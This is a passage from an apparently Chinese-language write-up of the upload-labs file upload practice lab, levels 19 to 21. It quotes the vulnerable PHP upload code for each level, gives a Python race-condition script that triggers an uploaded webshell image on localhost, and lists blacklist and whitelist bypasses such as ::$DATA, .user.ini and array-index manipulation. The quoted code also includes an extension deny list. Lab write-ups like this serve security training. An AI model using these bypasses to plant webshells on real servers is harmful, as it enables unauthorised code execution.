// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
这第19关的上传流程,先将文件保存到目标文件。在对暂存的文件进行重命名,所以我们也需要利用竞争上传,先把文件上传到目的位置。然后通过竞争上传执行上传到文件,使他创建一个新的文件,保存到目的文件。所以需要在他改名之前,先将文件执行。那么,第一步,我们需要先制作一个webshell图片码。
再写一个python脚本,用来执行上传的111.php文件。
import requests
url = "http://localhost/upload/include.php?file=./upload/1.gif"
while True:
response = requests.get(url)
if 'Warning' in response.text:
print("发包中")
else:
print("OK")
break
同时执行,当输出 “OK” 后 就说明成功执行。
结果如下:
Pass-20(黑名单随便过)
先看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
先回归老规矩,先上传一个随便的后缀名,发现上传成功,我们可以确定是黑名单。而且我们上传的php文件正常写入内容。
既然知道了是黑名单,那么我们就有了非常多的方法:利用.user.ini绕过转换大小写绕过空格绕过 首尾加 “.” 绕过 添加::$DATA绕过 我们随便选一种绕过方式,比如添加::$DATA绕过。上传成功:
结果如下:
Pass-21(白名单+count漏洞数组绕过)
先看源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
分析源码,通过explode('.', strtolower($file))
函数按照 “.” 将保存名称进行切割。作为数组保存。$ext就是最后的后缀名!in_array($ext, $allow_suffix)
通过这个函数,判断后缀名是非再白名单中。函数$file[count($file) - 1]
就是漏洞所在,使用count-1的方式,选择了数组最后一位。那么。我们可以通过将内容保存到数组,而改变数组位置。
这样就上传成功了!结果如下: